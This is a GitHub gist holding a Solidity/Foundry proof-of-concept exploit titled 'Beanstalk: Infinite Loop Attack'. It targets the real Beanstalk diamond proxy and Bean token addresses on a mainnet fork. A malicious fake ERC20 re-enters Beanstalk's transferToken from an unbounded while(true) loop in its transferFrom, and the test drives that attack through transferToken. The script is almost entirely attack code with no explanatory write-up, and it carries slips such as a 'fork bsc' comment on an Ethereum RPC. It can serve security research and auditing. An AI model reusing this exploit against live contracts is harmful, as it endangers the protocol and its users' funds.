Skip to content

Instantly share code, notes, and snippets.

@Sentient-XII
Created October 2, 2023 06:58
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Sentient-XII/3849a0f6a1db2aef9ad102854fa87f51 to your computer and use it in GitHub Desktop.
Save Sentient-XII/3849a0f6a1db2aef9ad102854fa87f51 to your computer and use it in GitHub Desktop.
Beanstalk: Infinite Loop Attack
// SPDX-License-Identifier: MIT
pragma solidity 0.8.13;
import "forge-std/Test.sol";
import "forge-std/console.sol";
import "./interfaces.sol";
address constant DiamondProxy = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
address constant BeanToken = 0xBEA0000029AD1c77D3d5D23Ba2D8893dB9d1Efab;
address constant Fake = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f;
address constant attacker = 0x5615dEB798BB3E4dFa0139dFa1b3D433Cc23b72f;
contract ContractTest is Test {
MyFakeERC20 FakeToken;
IBeanstalkERC20 public constant bean = IBeanstalkERC20(BeanToken);
IDiamond private constant beanstalk = IDiamond(DiamondProxy);
address alice = vm.addr(1);
address eve = vm.addr(2);
function setUp() public {
vm.createSelectFork("https://rpc.ankr.com/eth", 18068191); //fork bsc at block 29386056
FakeToken = new MyFakeERC20(0);
deal(address(bean), address(attacker), 20_000_000e6);
assertEq(bean.balanceOf(address(attacker)), 20_000_000e6);
deal(address(FakeToken), address(this), 10_000_000e6);
assertEq(FakeToken.balanceOf(address(this)), 10_000_000e6);
}
function testTransfer() public {
console.log("1. ABLE TO DEPOSIT FAKE TOKEN");
console.log("Bean Balance before :",bean.balanceOf(address(beanstalk)));
console.log("Bean Balance this before :",bean.balanceOf(address(attacker)));
bean.approve(address(beanstalk), type(uint256).max);
FakeToken.approve(address(beanstalk), type(uint256).max);
console.log("----------------------------------------------------------------------");
beanstalk.transferToken(address(FakeToken), address(attacker), 10_000_000e6, 0, 1);
console.log("Bean Balance after :",bean.balanceOf(address(beanstalk)));
console.log("Bean Balance this after :",bean.balanceOf(address(attacker)));
}
}
contract MyFakeERC20 {
IBeanstalkERC20 public constant bean = IBeanstalkERC20(BeanToken);
IDiamond private constant beanstalk = IDiamond(DiamondProxy);
IFakeERC20 private constant token = IFakeERC20(Fake);
string public name = "My Token"; // Name of the token
string public symbol = "MTK"; // Symbol of the token (usually 3-4 characters)
uint8 public decimals = 18; // Number of decimals
uint256 public totalSupply; // Total supply of the token
mapping(address => uint256) public balanceOf; // Balance of each address
mapping(address => mapping(address => uint256)) public allowance; // Allowance for token transfers
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(uint256 initialSupply) {
totalSupply = initialSupply * 10 ** uint256(decimals);
balanceOf[msg.sender] = totalSupply;
}
function transfer(address to, uint256 value) public returns (bool success) {
require(to != address(0), "Invalid address");
require(balanceOf[msg.sender] >= value, "Insufficient balance");
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool success) {
allowance[msg.sender][spender] = value;
bean.approve(address(beanstalk), type(uint256).max);
//beanstalk.transferToken(address(bean), address(attacker), 10_000_000e6, 0, 1);
emit Approval(msg.sender, spender, value);
return true;
}
//reenter tokenTransfer from Fake Token transferFrom function
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
// This loop has no termination condition, leading to an infinite loop.
while (true) {
// Code inside the loop (e.g., modifying state variables).
beanstalk.transferToken(address(bean), address(attacker), 0, 0, 1);
}
// Code after the loop (if any).
}
receive() external payable {}
}
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.13;
interface IBeanstalkERC20 {
function DEFAULT_ADMIN_ROLE() external returns (bytes32);
function MINTER_ROLE() external returns (bytes32);
function hasRole(bytes32,address) external view returns (bool);
function getRoleMemberCount(bytes32) external view returns (uint256);
function getRoleMember(bytes32,uint256) external view returns (address);
function getRoleAdmin(bytes32) external view returns (bytes32);
function grantRole(bytes32,address) external;
function revokeRole(bytes32,address) external;
function renounceRole(bytes32,address) external;
function burn(uint256) external;
function burnFrom(address,uint256) external;
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function transfer(address,uint256) external returns (bool);
function allowance(address,address) external view returns (uint256);
function approve(address,uint256) external returns (bool);
function transferFrom(address,address,uint256) external returns (bool);
function increaseAllowance(address,uint256) external returns (bool);
function decreaseAllowance(address,uint256) external returns (bool);
function permit(address,address,uint256,uint256,uint8,bytes32,bytes32) external;
function nonces(address) external view returns (uint256);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function mint(address,uint256) external;
function decimals() external view returns (uint8);
}
interface IDiamond {
function deposit(address token, uint256 amount, uint8 mode) external;
function withdrawDeposit(
address token,
int96 stem,
uint256 amount,
uint8 mode
) external;
function sow(uint256 amount, uint8 mode) external;
function plant() external;
function gm(address account, uint8 mode) external;
function sunrise() external;
function transferToken(
address token,
address recipient,
uint256 amount,
uint8 fromMode,
uint8 toMode
) external;
}
interface IFakeERC20 {
event Sent(address, address, address, uint256, bytes, bytes);
event Minted(address, address, uint256, bytes, bytes);
event Burned(address, address, uint256, bytes, bytes);
event AuthorizedOperator(address, address);
event RevokedOperator(address, address);
event Transfer(address, address, uint256);
event Approval(address, address, uint256);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external pure returns (uint8);
function granularity() external view returns (uint256);
function totalSupply() external view returns (uint256);
function balanceOf(address) external view returns (uint256);
function send(address,uint256,bytes calldata) external;
function transfer(address,uint256) external returns (bool);
function burn(uint256,bytes calldata) external;
function isOperatorFor(address,address) external view returns (bool);
function authorizeOperator(address) external;
function revokeOperator(address) external;
function defaultOperators() external view returns (address[] memory);
function operatorSend(address,address,uint256,bytes calldata,bytes calldata) external;
function operatorBurn(address,uint256,bytes calldata,bytes calldata) external;
function allowance(address,address) external view returns (uint256);
function approve(address,uint256) external returns (bool);
function transferFrom(address,address,uint256) external returns (bool);
}
interface IERC1820Registry {
function setManager(address account, address newManager) external;
function getManager(address account) external view returns (address);
function setInterfaceImplementer(address account, bytes32 _interfaceHash, address implementer) external;
function getInterfaceImplementer(address account, bytes32 _interfaceHash) external view returns (address);
function interfaceHash(string calldata interfaceName) external pure returns (bytes32);
function updateERC165Cache(address account, bytes4 interfaceId) external;
function implementsERC165Interface(address account, bytes4 interfaceId) external view returns (bool);
function implementsERC165InterfaceNoCache(address account, bytes4 interfaceId) external view returns (bool);
event InterfaceImplementerSet(address indexed account, bytes32 indexed interfaceHash, address indexed implementer);
event ManagerChanged(address indexed account, address indexed newManager);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment